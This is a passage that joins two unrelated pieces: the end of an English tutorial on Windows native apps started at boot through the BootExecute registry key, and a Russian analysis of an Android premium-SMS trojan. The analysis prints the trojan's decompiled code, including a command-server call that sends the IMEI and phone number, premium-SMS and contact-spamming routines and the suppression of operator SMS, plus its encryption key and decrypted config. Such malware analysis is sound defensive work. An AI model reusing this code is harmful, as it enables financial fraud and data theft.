Remember that we have access to functions only from ntdll. There are simply no other libraries loaded in the memory, so we will have problems with memory allocation. The “new” operator does not exist yet (it is from the way-too-high C++ world), there is also no malloc function (it needs runtime C libraries). Of course, we can use a stack. However, if we want to allocate the memory dynamically, we will need a heap. Let us create a heap to allocate memory from there wherever we need it.
We are going to use the [RtlCreateHeap](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-rtlcreateheap) function. Then we will use RtlAllocateHeap and RtlFreeHeap to allocate and free the memory.
```
PVOID memory = NULL;
PVOID buffer = NULL;
ULONG bufferSize = 42;
// create heap in order to allocate memory later
memory = RtlCreateHeap(
HEAP_GROWABLE,
NULL,
1000,
0, NULL, NULL
);
// allocate buffer of size bufferSize
buffer = RtlAllocateHeap(
memory,
HEAP_ZERO_MEMORY,
bufferSize
);
// free buffer (actually not needed because we destroy heap in next step)
RtlFreeHeap(memory, 0, buffer);
RtlDestroyHeap(memory);
```
Implementation of keyboard input wait.
```
// https://docs.microsoft.com/en-us/windows/win32/api/ntddkbd/ns-ntddkbd-keyboard_input_data
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
//...
HANDLE hKeyBoard, hEvent;
UNICODE_STRING skull, keyboard;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK Iosb;
LARGE_INTEGER ByteOffset;
KEYBOARD_INPUT_DATA kbData;
// inialize variables
RtlInitUnicodeString(&keyboard, L"\\Device\\KeyboardClass0");
InitializeObjectAttributes(&ObjectAttributes, &keyboard, OBJ_CASE_INSENSITIVE, NULL, NULL);
// open keyboard device
NtCreateFile(&hKeyBoard,
SYNCHRONIZE | GENERIC_READ | FILE_READ_ATTRIBUTES,
&ObjectAttributes,
&Iosb,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,FILE_DIRECTORY_FILE,
NULL, 0);
// create event to wait on
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, 1, 0);
while (TRUE)
{
NtReadFile(hKeyBoard, hEvent, NULL, NULL, &Iosb, &kbData, sizeof(KEYBOARD_INPUT_DATA), &ByteOffset, NULL);
NtWaitForSingleObject(hEvent, TRUE, NULL);
if (kbData.MakeCode == 0x01) // if ESC pressed
{
break;
}
}
```
All we need is to use [NtReadFile](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FNtReadFile.html) on the opened device, and wait for the keyboard to return a keystroke. We keep working until the ESC button is not pressed. To open the device, we have to call [NtCreateFile](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FEvent%2FNtCreateEvent.html) (we will need to open \Device\KeyboardClass0). Calling NtCreateEvent function will initialize the wait object. We declare KEYBOARD\_INPUT\_DATA structure that provides keyboard data.
The native apps end with a call [NtTerminateProcess](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FProcess%2FNtTerminateProcess.html), because we simply kill our process.
The whole code of our tiny app:
```
#include "ntifs.h" // \WinDDK\7600.16385.1\inc\ddk
#include "ntdef.h"
//------------------------------------
// Following function definitions can be found in native development kit
// but I am too lazy to include `em so I declare it here
//------------------------------------
NTSYSAPI
NTSTATUS
NTAPI
NtTerminateProcess(
IN HANDLE ProcessHandle OPTIONAL,
IN NTSTATUS ExitStatus
);
NTSYSAPI
NTSTATUS
NTAPI
NtDisplayString(
IN PUNICODE_STRING String
);
NTSTATUS
NtWaitForSingleObject(
IN HANDLE Handle,
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Timeout
);
NTSYSAPI
NTSTATUS
NTAPI
NtCreateEvent(
OUT PHANDLE EventHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN EVENT_TYPE EventType,
IN BOOLEAN InitialState
);
// https://docs.microsoft.com/en-us/windows/win32/api/ntddkbd/ns-ntddkbd-keyboard_input_data
typedef struct _KEYBOARD_INPUT_DATA {
USHORT UnitId;
USHORT MakeCode;
USHORT Flags;
USHORT Reserved;
ULONG ExtraInformation;
} KEYBOARD_INPUT_DATA, *PKEYBOARD_INPUT_DATA;
//----------------------------------------------------------
// Our code goes here
//----------------------------------------------------------
// usage: WriteLn(L"Hello Native World!\n");
void WriteLn(LPWSTR Message)
{
UNICODE_STRING string;
RtlInitUnicodeString(&string, Message);
NtDisplayString(&string);
}
void NtProcessStartup(void* StartupArgument)
{
// it is important to declare all variables at the beginning
HANDLE hKeyBoard, hEvent;
UNICODE_STRING skull, keyboard;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK Iosb;
LARGE_INTEGER ByteOffset;
KEYBOARD_INPUT_DATA kbData;
PVOID memory = NULL;
PVOID buffer = NULL;
ULONG bufferSize = 42;
//use it if debugger connected to break
//DbgBreakPoint();
WriteLn(L"Hello Native World!\n");
// inialize variables
RtlInitUnicodeString(&keyboard, L"\\Device\\KeyboardClass0");
InitializeObjectAttributes(&ObjectAttributes, &keyboard, OBJ_CASE_INSENSITIVE, NULL, NULL);
// open keyboard device
NtCreateFile(&hKeyBoard,
SYNCHRONIZE | GENERIC_READ | FILE_READ_ATTRIBUTES,
&ObjectAttributes,
&Iosb,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN,FILE_DIRECTORY_FILE,
NULL, 0);
// create event to wait on
InitializeObjectAttributes(&ObjectAttributes, NULL, 0, NULL, NULL);
NtCreateEvent(&hEvent, EVENT_ALL_ACCESS, &ObjectAttributes, 1, 0);
WriteLn(L"Keyboard ready\n");
// create heap in order to allocate memory later
memory = RtlCreateHeap(
HEAP_GROWABLE,
NULL,
1000,
0, NULL, NULL
);
WriteLn(L"Heap ready\n");
// allocate buffer of size bufferSize
buffer = RtlAllocateHeap(
memory,
HEAP_ZERO_MEMORY,
bufferSize
);
WriteLn(L"Buffer allocated\n");
// free buffer (actually not needed because we destroy heap in next step)
RtlFreeHeap(memory, 0, buffer);
RtlDestroyHeap(memory);
WriteLn(L"Heap destroyed\n");
WriteLn(L"Press ESC to continue...\n");
while (TRUE)
{
NtReadFile(hKeyBoard, hEvent, NULL, NULL, &Iosb, &kbData, sizeof(KEYBOARD_INPUT_DATA), &ByteOffset, NULL);
NtWaitForSingleObject(hEvent, TRUE, NULL);
if (kbData.MakeCode == 0x01) // if ESC pressed
{
break;
}
}
NtTerminateProcess(NtCurrentProcess(), 0);
}
```
**PS:** We can easily use DbgBreakPoint() to break in a debugger. It is better to connect WinDbg to the virtual machine for kernel debugging. The guide on how to do it is [here](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/setting-up-kernel-mode-debugging-in-windbg--cdb--or-ntsd). Alternatively, we can use [VirtualKD](http://sysprogs.com/legacy/virtualkd/).
### Compilation and build
The easiest way to build a native app is to use a [DDK](https://docs.microsoft.com/en-us/windows-hardware/drivers/other-wdk-downloads) (Driver Development Kit). We need an «ancient» version 7.1 because newer versions have a different approach and work closely with Visual Studio. In the case of DDK, our project will only need Makefile and sources.
```
Makefile
!INCLUDE $(NTMAKEENV)\makefile.def
sources:
TARGETNAME = MyNative
TARGETTYPE = PROGRAM
UMTYPE = nt
BUFFER_OVERFLOW_CHECKS = 0
MINWIN_SDK_LIB_PATH = $(SDK_LIB_PATH)
SOURCES = source.c
INCLUDES = $(DDK_INC_PATH); \
C:\WinDDK\7600.16385.1\ndk;
TARGETLIBS = $(DDK_LIB_PATH)\ntdll.lib\
$(DDK_LIB_PATH)\nt.lib
USE_NTDLL = 1
```
Your Makefile will be the same. Let us take a closer look at sources. This file contains sources of your program (.c files), build options and other parameters.
* TARGETNAME is the name of the output executable file.
* TARGETTYPE is an executable file type. It can be a driver (.sys), then the field value should be DRIVER, or the library (.lib) and then the value should be LIBRARY. We need an executable file (.exe), so we set PROGRAM value.
* UMTYPE. Possible values: console for console application, windows for window mode. However, we need to set nt to get a native app.
* BUFFER\_OVERFLOW\_CHECKS is checking the stack for buffer overflow. Unfortunately, this is not our case, it is too early to check it in the system, so we turn it off.
* MINWIN\_SDK\_LIB\_PATH. This value refers to the SDK\_LIB\_PATH variable. Don't worry that this system variable is not declared. When we run a checked build script from DDK, this variable will be declared and will reveal the required libraries.
* SOURCES is the list of your program's sources.
* INCLUDES is the header files required for the build. Here we usually state the path to the files that are part of DDK, but you can set any additional files.
* TARGETLIBS is a list of libraries to be linked.
* USE\_NTDLL is a required field that must be set to position 1. This is quite obvious.
* USER\_C\_FLAGS means any flags that you can use in preprocessor directives when preparing application code.
So, for the build we need to launch x86 (or x64) Checked Build, change the working directory to the project folder, and run Build. The screenshot shows that we built one executable file.
Unfortunately, you cannot just run this file. The system argues and tells us to go and think about behavior with the following error:
### How to launch a native app?
When the autochk is running, the program boot sequence is set by the registry key:
```
HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute
```
The session manager executes programs from this list in a predefined sequence. The manager looks for executable files in system32. The registry key has the following format:
```
autocheck autochk *MyNative
```
The value must be hexadecimal, not the regular ASCII, so the above key will have the following value:
```
61,75,74,6f,63,68,65,63,6b,20,61,75,74,6f,63,68,6b,20,2a,00,4d,79,4e,61,74,69,76,65,00,00
```
To convert the name, you can use any online services (e.g. [this](https://www.rapidtables.com/convert/number/ascii-to-hex.html)).
So, to launch a native app we have to:
1. Copy an executable file to system32
2. Add a key to the registry
3. Reboot the machine
UPD: or check this out, it may help to run native apps at host machine even later than at boot time: [link](http://hex.pp.ua/shedel-utils.php).
To make your life easier, here is a script to install a native application:
```
install.bat
@echo off
copy MyNative.exe %systemroot%\system32\.
regedit /s add.reg
echo Native Example Installed
pause
add.reg
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"BootExecute"=hex(7):61,75,74,6f,63,68,65,63,6b,20,61,75,74,6f,63,68,6b,20,2a,00,4d,79,4e,61,74,69,76,65,00,00
```
After installation and reboot, even before choosing users, we get the following:
Conclusion
----------
The example of this tiny app showed us that it is possible to launch an app as Windows Native. Next, we and the guys from Innopolis University will continue building the service that will initiate driver interaction much earlier than the previous version of the project. When the Win32 shell will be loaded by the system, it makes sense to transfer the control to a fully working service that has already been developed (more about this [here](https://habr.com/ru/company/acronis/blog/498890/)).
In the next post, we will get to another Active Restore component, the UEFI driver. Subscribe to our blog to make sure you see the next post. | https://habr.com/ru/post/499466/ | null | en | null |
# История реверс-инжиниринга одного SMS трояна для Android
Все началось с жалоб одного моего доброго друга, по совместительству владельца устройства на Android. Он жаловался, что оператор постоянно снимает с него деньги неизвестно за что. После звонков оператору выяснилось, что средства снимали за премиум SMS, которые мой друг якобы отправлял. Я сам неоднократно нарывался в Интернетах на подозрительные сайты, которые предлагают скачать apk с игрой/программой/Live Wallpaper, при установке которого выясняется, что это всего лишь программа, которая отправляет SMS на премиум номера. Но в этом случае если нажал кнопку, то «сам дурак», потому что правила в таких программках явно говорят, что последует отправка SMS на платные номера, да и ссылки они в итоге предоставляют на реальные программы.
Так или иначе, ко мне закралось подозрение, что здесь ситуация тоже завязана на таком роде деятельности, и я взялся разобраться, куда же все-таки утекают денежки.
#### Безопасная установка приложения
Начнем с того, что мой друг запамятовал, откуда он скачивал последние программы из сети на свой девайс, из него удалось вытрясти только следующую ссылку [mobisity.ru](http://mobisity.ru/ibii/ibii-lcya-igsci/501860-drugvokrug-11.html) (**Осторожно, сайт распространяет вредоносное ПО!**). Покопавшись на сайте, я вытащил оттуда [APK](http://files.mail.ru/90N6TZ).
Теперь, когда предыстория известна читателю, можно перейти к самому интересному — анализу приложения. Начнем с безопасной установки приложения, а именно, установим его на эмулятор и посмотрим как оно действует.
Запускаем штатный эмулятор Android, желательно версии 2.2 или выше (на более старые версии приложение не устанавливается), для этого запускаем эмулятор через AVD (Android Virtual Device Manager) и выполняем команду
```
adb install mp3.apk
```
В списке приложений появляется наблюдаем нашего трояна, под именем Music и с соответствующей иконкой.
Запускаем и наблюдаем процесс какой-то «установки», после которой нам предлагается нажать кнопку «далее»
Если нажать кнопку хардварную кнопку Menu, то можно будет открыть правила и прочесть, что после нажатия кнопки пойдет отправка SMS на платные номера. Ну и ладно, значит, пока что это из разряда «сам дурак». Так куда же постоянно утекают средства? Пока не понятно, исследуем дальше.
#### Анализ кода
Для анализа я использовал следующие инструменты: [jd-gui](http://java.decompiler.free.fr/?q=jdgui), [dex2jar](http://code.google.com/p/dex2jar/) и [apktool](http://code.google.com/p/android-apktool/).
Первым делом разберем APK при помощи apktool и посмотрим на структуру проекта. Для этого необходимо выполнить команду
```
apktool d mp3.apk
```
Анализ внутренней структуры проекта ничего интересного не дает, за исключением того, что в папке **assets** лежит непонятный файл **data.xml**, видимо он хранит какие-то данные, но зашифрован, так как, на первый взгляд, данные не поддаются простому анализу.
Ну что же, остается только смотреть код, для этого используем **dex2jar**. Вытаскиваем при помощи своего любимого архиватора файл из APK с названием **classes.dex**, и при помощи dex2jar преобразовываем его в jar файл. Полученный jar нужно открыть в программе **jd-gui**. Всё, теперь у нас есть весь (ну или почти весь) код приложения:
Прежде чем сломя голову бросаться анализировать код, я решил посмотреть файл **AndroidManifest.xml**, как правило из него можно вытащить много полезной информации о приложении.
**Полный листинг файла AndroidManifest.xml**
```
xml version="1.0" encoding="utf-8"?
```
Просмотрев файл, я заинтересовался BroadcastReceiver'ом с именем StartupReceiver — очевидно, что он запускает какой-то код при загрузке системы, на это указывают заявленные intent-filters.
**Код StartupReceiver**
```
package net.droid.installer;
import a;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.RemoteException;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
public class StartupReceiver extends BroadcastReceiver
{
private static ServiceConnection d = null;
boolean a = false;
Context b;
private a c = null;
public void onReceive(Context paramContext, Intent paramIntent)
{
this.b = paramContext;
Object localObject = ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperatorName();
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putBoolean("wasreload", true).commit();
try
{
if ((((TelephonyManager)this.b.getSystemService("phone")).getSimOperator().toString().equals("25099")) || (((String)localObject).toLowerCase().contains("tele")) || (((String)localObject).toLowerCase().contains("����")))
d = new j(this);
}
catch (Exception localException1)
{
try
{
paramContext.bindService(new Intent("com.android.ussd.IExtendedNetworkService"), d, 1);
label120: localObject = this.c;
if (localObject != null);
try
{
this.c.a(":ON;)");
while (true)
{
label141: paramContext.startService(new Intent(paramContext, UpdateService.class));
return;
localException1;
}
}
catch (RemoteException localRemoteException)
{
break label141;
}
}
catch (Exception localException2)
{
break label120;
}
}
}
}
```
По всей видимости, в случае необходимости, здесь производится биндинг с системным сервисом, который обеспечивает работу USSD запросов. Логично было бы предположить, что троян таким образом отслеживает баланс пользователя.
Кроме этого, в коде видно, что запускается сервис **UpdateService**.
**Код UpdateService**
```
package net.droid.installer;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.IBinder;
import android.preference.PreferenceManager;
public class UpdateService extends Service
{
static Context a;
static String b = "http://mxclick.com/";
static int c = 60;
static SharedPreferences d;
static String e = b;
static boolean f = false;
public static void a()
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putBoolean("appblocked", true);
localEditor.commit();
}
public static void a(String paramString)
{
SharedPreferences.Editor localEditor = d.edit();
localEditor.putString(a.getString(2130968584), paramString);
localEditor.commit();
}
public IBinder onBind(Intent paramIntent)
{
return null;
}
public void onCreate()
{
}
public void onDestroy()
{
super.onDestroy();
}
public void onStart(Intent paramIntent, int paramInt)
{
super.onStart(paramIntent, paramInt);
a = this;
Object localObject = PreferenceManager.getDefaultSharedPreferences(this);
d = (SharedPreferences)localObject;
e = ((SharedPreferences)localObject).getString(getString(2130968584), b);
localObject = (AlarmManager)getSystemService("alarm");
PendingIntent localPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(this, UpdateReceiver.class), 0);
((AlarmManager)localObject).setRepeating(0, System.currentTimeMillis(), 60000 * c, localPendingIntent);
}
public boolean onUnbind(Intent paramIntent)
{
return super.onUnbind(paramIntent);
}
}
```
Очевидно, что данный сервис при старте устанавливает при помощи планировщика AlarmManager запуск Intent, который является сигналом к запуску BroadcastReceiver'a с именем **UpdateReceiver**, а если точнее, то его метода — onReceive.
**Код UpdateReceiver**
```
package net.droid.installer;
import a;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.net.Uri;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
import android.preference.PreferenceManager;
import android.telephony.SmsManager;
import android.telephony.TelephonyManager;
import java.util.ArrayList;
public class UpdateReceiver extends BroadcastReceiver
{
static boolean i = false;
private static ServiceConnection l = null;
Context a;
SharedPreferences b;
boolean c = false;
String d = "";
String e = "";
String f = "";
String g = "";
String h = "";
ArrayList j = new ArrayList();
private final a k = null;
private String a()
{
return ((TelephonyManager)this.a.getSystemService("phone")).getSimOperator().toString();
}
private void a(String paramString1, String paramString2)
{
PendingIntent localPendingIntent1 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_SENT"), 0);
PendingIntent localPendingIntent2 = PendingIntent.getBroadcast(this.a, 0, new Intent("SMS_DELIVERED"), 0);
SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, localPendingIntent1, localPendingIntent2);
}
public void onReceive(Context paramContext, Intent paramIntent)
{
this.a = paramContext;
this.b = PreferenceManager.getDefaultSharedPreferences(this.a);
PowerManager.WakeLock localWakeLock = ((PowerManager)paramContext.getSystemService("power")).newWakeLock(26, "ALARMSERVICE");
localWakeLock.acquire();
Object localObject = ((TelephonyManager)this.a.getSystemService("phone")).getSimOperatorName();
try
{
if (a().equals("25001"))
a("111", "11");
while (true)
{
if (!PreferenceManager.getDefaultSharedPreferences(paramContext).getBoolean("appblocked", false))
{
localObject = PreferenceManager.getDefaultSharedPreferences(this.a);
SharedPreferences.Editor localEditor = ((SharedPreferences)localObject).edit();
if (((SharedPreferences)localObject).getBoolean("new", true))
{
localEditor.putBoolean("new", false);
localEditor.putLong("time", 1200000L + System.currentTimeMillis());
localEditor.commit();
}
if (System.currentTimeMillis() > ((SharedPreferences)localObject).getLong("time", 0L))
new m(this).execute(new String[0]);
}
label191: localWakeLock.release();
return;
if (a().equals("25002"))
{
a("000100", "b");
continue;
}
if ((a().equals("25099")) && (PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
{
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*102" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
continue;
}
if (((!((String)localObject).toLowerCase().contains("tele")) && (!((String)localObject).toLowerCase().contains("����"))) || (!PreferenceManager.getDefaultSharedPreferences(this.a).getBoolean("wasreload", false)))
continue;
localObject = new Intent("android.intent.action.CALL", Uri.parse("tel:*105" + Uri.encode("#")));
((Intent)localObject).addFlags(268435456);
paramContext.startActivity((Intent)localObject);
}
}
catch (Exception localException)
{
break label191;
}
}
}
```
Здесь мы видим, что троян проверяет текущий баланс пользователя, прежде чем отправлять SMS. И кроме этого, он запускает AsyncTask с именем **m**, который отправляет запрос к скрипту [**mxclick.com/getTask.php**](http://mxclick.com/getTask.php). Скрипт по всей видимости отдает нужный номер, на который будет осуществлена отправка тех или иных SMS. Ну и в итоге UpdateReceiver выполняет отправку SMS, тем самым осушая баланс бедного пользователя.
**Код наследника AsyncTask - класса m**
```
package net.droid.installer;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.database.Cursor;
import android.net.Uri;
import android.os.AsyncTask;
import android.os.Build;
import android.os.Build.VERSION;
import android.preference.PreferenceManager;
import android.provider.ContactsContract.CommonDataKinds.Phone;
import android.provider.ContactsContract.Contacts;
import android.telephony.TelephonyManager;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.impl.client.DefaultHttpClient;
import org.json.JSONArray;
import org.json.JSONObject;
final class m extends AsyncTask
{
m(UpdateReceiver paramUpdateReceiver)
{
}
private String a()
{
String str1;
try
{
Object localObject7 = (TelephonyManager)this.a.a.getSystemService("phone");
Object localObject2 = ((TelephonyManager)localObject7).getDeviceId();
Object localObject4 = ((TelephonyManager)localObject7).getSimCountryIso();
Object localObject1 = new DefaultHttpClient();
Object localObject5 = ((TelephonyManager)localObject7).getLine1Number();
Object localObject3 = ((TelephonyManager)localObject7).getNetworkOperatorName();
String str3 = ((TelephonyManager)localObject7).getNetworkOperator();
String str2 = Integer.toString(Build.VERSION.SDK_INT);
localObject7 = Build.MODEL;
localObject2 = new URL(UpdateService.e + "getTask.php?imei=" + (String)localObject2 + "&balance=" + PreferenceManager.getDefaultSharedPreferences(this.a.a).getString("balance", "0") + "&country=" + (String)localObject4 + "☎=" + (String)localObject5 + "&op=" + (String)localObject3 + "&mnc=" + str3.substring(3) + "&mcc=" + str3.substring(0, 3) + "&model=" + (String)localObject7 + "&os=" + str2);
localObject2 = new URI(((URL)localObject2).getProtocol(), ((URL)localObject2).getUserInfo(), ((URL)localObject2).getHost(), ((URL)localObject2).getPort(), ((URL)localObject2).getPath(), ((URL)localObject2).getQuery(), ((URL)localObject2).getRef()).toURL();
((URL)localObject2).toString();
localObject1 = ((HttpClient)localObject1).execute(new HttpGet(((URL)localObject2).toString())).getEntity().getContent();
localObject4 = new BufferedReader(new InputStreamReader((InputStream)localObject1, "utf-8"), 8);
localObject2 = new StringBuilder();
while (true)
{
localObject3 = ((BufferedReader)localObject4).readLine();
if (localObject3 == null)
break;
((StringBuilder)localObject2).append((String)localObject3);
}
((StringBuilder)localObject2).toString();
((InputStream)localObject1).close();
((BufferedReader)localObject4).close();
while (true)
{
try
{
localObject2 = new JSONArray(((StringBuilder)localObject2).toString());
int i = 0;
if (i >= ((JSONArray)localObject2).length())
break;
localObject3 = ((JSONArray)localObject2).getJSONObject(i);
localObject4 = ((JSONObject)localObject3).getString("type");
if (!((String)localObject4).equals("1"))
continue;
UpdateService.f = true;
UpdateReceiver.a(this.a, ((JSONObject)localObject3).getString("to_number"), ((JSONObject)localObject3).getString("message"));
localObject5 = new n(this.a);
localObject7 = new String[1];
localObject7[0] = "1";
((n)localObject5).execute(localObject7);
if (!((String)localObject4).equals("2"))
break label742;
localObject5 = this.a.a.getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
if (!((Cursor)localObject5).moveToNext())
break label650;
localObject7 = ((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("_id"));
if (((Cursor)localObject5).getString(((Cursor)localObject5).getColumnIndex("has_phone_number")).equalsIgnoreCase("1"))
{
str2 = "true";
if (!Boolean.parseBoolean(str2))
continue;
localObject7 = this.a.a.getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + (String)localObject7, null, null);
if (!((Cursor)localObject7).moveToNext())
break label640;
this.a.j.add(((Cursor)localObject7).getString(((Cursor)localObject7).getColumnIndex("data1")));
continue;
}
}
catch (Exception localException1)
{
str1 = "-100";
}
str2 = "false";
continue;
label640: ((Cursor)localObject7).close();
continue;
label650: ((Cursor)localObject5).close();
for (int j = 0; j < this.a.j.size(); j++)
UpdateReceiver.a(this.a, (String)this.a.j.get(j), ((JSONObject)localObject3).getString("message"));
localObject7 = new n(this.a);
Object localObject6 = new String[1];
localObject6[0] = "2";
((n)localObject7).execute(localObject6);
label742: if (((String)localObject4).equals("3"))
{
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("open_url")));
((Intent)localObject6).addFlags(268435456);
this.a.a.startActivity((Intent)localObject6);
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "3";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("4"))
{
UpdateService.a(((JSONObject)localObject3).getString("server_url"));
localObject7 = new n(this.a);
localObject6 = new String[1];
localObject6[0] = "4";
((n)localObject7).execute(localObject6);
}
if (((String)localObject4).equals("5"))
{
localObject4 = new Notification(2130837504, ((JSONObject)localObject3).getString("title"), System.currentTimeMillis());
localObject6 = new Intent("android.intent.action.VIEW", Uri.parse(((JSONObject)localObject3).getString("urlop")));
localObject6 = PendingIntent.getActivity(this.a.a, 0, (Intent)localObject6, 0);
localObject7 = (NotificationManager)this.a.a.getSystemService("notification");
((Notification)localObject4).setLatestEventInfo(this.a.a, ((JSONObject)localObject3).getString("title"), ((JSONObject)localObject3).getString("message"), (PendingIntent)localObject6);
((Notification)localObject4).defaults = (0x1 | ((Notification)localObject4).defaults);
((Notification)localObject4).flags = (0x10 | ((Notification)localObject4).flags);
((NotificationManager)localObject7).notify(0, (Notification)localObject4);
}
str1++;
}
}
catch (Exception localException2)
{
str1 = null;
}
return (String)(String)(String)(String)(String)(String)(String)str1;
}
}
```
Ну вот, собственно говоря и всё — дальше код можно не разбирать, мы увидели, что опустошение баланса пользователя достигается именно отправкой SMS на премиум номера. Однако, я наткнулся еще на пару интересных моментов, когда просматривал код трояна. Например, входящие SMS с номера 111, который является сервисным номером МТС, блокируются — таким образом, юзер вообще ничего не слышит и не видит, когда его баланс постепенно уходит в минус.
Этим занимается класс **MessageReceiver**, вот его определение в AndroidManifest.xml
```
```
Видно, что ему установлен высокий приоритет, таким образом ему удается первым обработать входящие сообщения на девайс. Ну и внутри метода **onReceive**, мы видим, что если SMS идет с номера 111, то intent перехватывается, то есть broadcast сообщение обрывается на этом обработчике и не идет дальше к остальным приложениям.
**Код MessageReceiver**
```
package net.droid.installer;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.os.Bundle;
import android.preference.PreferenceManager;
import android.telephony.SmsMessage;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MessageReceiver extends BroadcastReceiver
{
public void onReceive(Context paramContext, Intent paramIntent)
{
Object localObject = paramIntent.getExtras();
if (localObject != null)
{
localObject = (Object[])((Bundle)localObject).get("pdus");
SmsMessage[] arrayOfSmsMessage = new SmsMessage[localObject.length];
int i = 0;
try
{
while (i < arrayOfSmsMessage.length)
{
arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])localObject[i]);
if ((arrayOfSmsMessage[i].getOriginatingAddress().contains("111")) || (arrayOfSmsMessage[i].getOriginatingAddress().contains("000100")))
{
Matcher localMatcher = Pattern.compile("-?\\d+").matcher(arrayOfSmsMessage[i].getDisplayMessageBody());
if (localMatcher.find())
{
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", localMatcher.group()).commit();
if (arrayOfSmsMessage[i].getDisplayMessageBody().contains("�����"))
PreferenceManager.getDefaultSharedPreferences(paramContext).edit().putString("balance", "-" + localMatcher.group()).commit();
abortBroadcast();
}
}
if (UpdateService.f)
{
abortBroadcast();
UpdateService.f = false;
}
i++;
}
}
catch (Exception localException)
{
}
}
}
}
```
Еще один интересный момент, который на самом деле позволяет сообществу заставить мошенников ответить за свои поступки — зашифрованная база, о которой я упоминал в начале поста. Во время просмотра кода было выяснено, что файл с номерами был зашифрован алгоритмом Blowfish в режиме ECB. Это симметричный алгоритм шифрования, с хорошим ключом на его взлом могли бы уйти годы, но… Разработчики трояна особо не парились:
```
public final String b(String paramString)
{
try
{
Object localObject2 = this.a.getAssets().open(paramString);
Object localObject1 = new byte[((InputStream)localObject2).available()];
((InputStream)localObject2).read(localObject1);
((InputStream)localObject2).close();
localObject2 = new SecretKeySpec("3gYX0W0GiIdT0E9y".getBytes(), a.a);
Cipher localCipher = Cipher.getInstance("t/c/g".replace("t", a.a).replace("c", a.b).replace("g", a.c));
localCipher.init(2, (Key)localObject2);
localObject1 = new String(localCipher.doFinal(localObject1));
return localObject1;
}
catch (Exception str)
{
while (true)
{
localException.printStackTrace();
String str = "err";
}
}
}
}
```
С известным ключом мне стоило только набросать пару строк на Яве, и файл был расшифрован:
**Короткие номера, префиксы биллингов и другие настройки трояна**
```
8503,7202,7201,7201,7201
1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030
25001
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
7204
1429015599 041 122 6030
25002
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
8503,7202,7201,7201,7201
1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030
25099
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
7202,7201,7201
1429015599 041 122 6030,1429015599 041 122 6030,1429015599 041 122 6030
250
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
7204,7204,7212
99933015599 041 122 6030,99933015599 041 122 6030,99933015599 041 122 6030
25503
0
0
http://mp3-999.com/content
Online
http://oxclick.com
icon
3303,3303,3303
427242015599 041 122 6030,427242015599 041 122 6030,427242015599 041 122 6030
400
0
0
